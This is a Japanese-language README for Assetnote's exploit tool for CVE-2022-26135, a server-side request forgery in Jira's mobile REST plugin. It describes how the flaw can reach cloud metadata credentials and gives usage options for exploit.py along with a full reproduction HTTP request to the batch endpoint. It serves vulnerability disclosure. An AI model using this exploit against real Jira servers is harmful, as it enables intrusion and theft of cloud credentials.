
Jira Mobile Rest Plugin SSRF (CVE-2022-26135) のエクスプロイトコード
Assetnoteは、お客様の外部アセットを自動的にマッピングし、変更やセキュリティ問題を監視して、深刻な侵害を防止します。
この調査はAssetnoteのセキュリティリサーチチームによって実施されました。
製品とチームの詳細はhttps://assetnote.ioをご覧ください。
この脆弱性の発見に至った手順を詳述したブログ記事はこちらからご覧いただけます。
Jira CoreおよびJira Service Deskは、認証後にサーバーサイドリクエストフォージェリに対して脆弱です。場合によっては、Jira CoreまたはJira Service Deskのオープンサインアップを利用して、既知の認証情報なしでこのサーバーサイドリクエストフォージェリの欠陥を悪用することが可能です。
SSRF脆弱性により、攻撃者は任意のHTTPメソッド、ヘッダー、ボディを使用して任意のURLにHTTPリクエストを送信できます。Jiraがクラウド環境にデプロイされている場合、攻撃者はこのエクスプロイトチェーンを利用して、メタデータIPアドレスを通じてクラウド認証情報やその他の機密情報を取得できます。
Atlassianからのアドバイザリに従い、次のナレッジベース記事を参照して、影響を受けるソフトウェアバージョンを実行しているか確認してください:https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
pip3 install -r requirements.txt
その後、エクスプロイトを以下のように使用できます:
python3 exploit.py
ヘルプ:
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode
Jira / Jira Service Deskの認証情報をすでにお持ちの場合は、--modeをmanualに設定し、--software引数をjiraまたはjsdに設定してください。
Jiraインスタンスに認証された後、次のHTTPリクエストを使用してこの問題を再現できます:
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"@example.com"}]}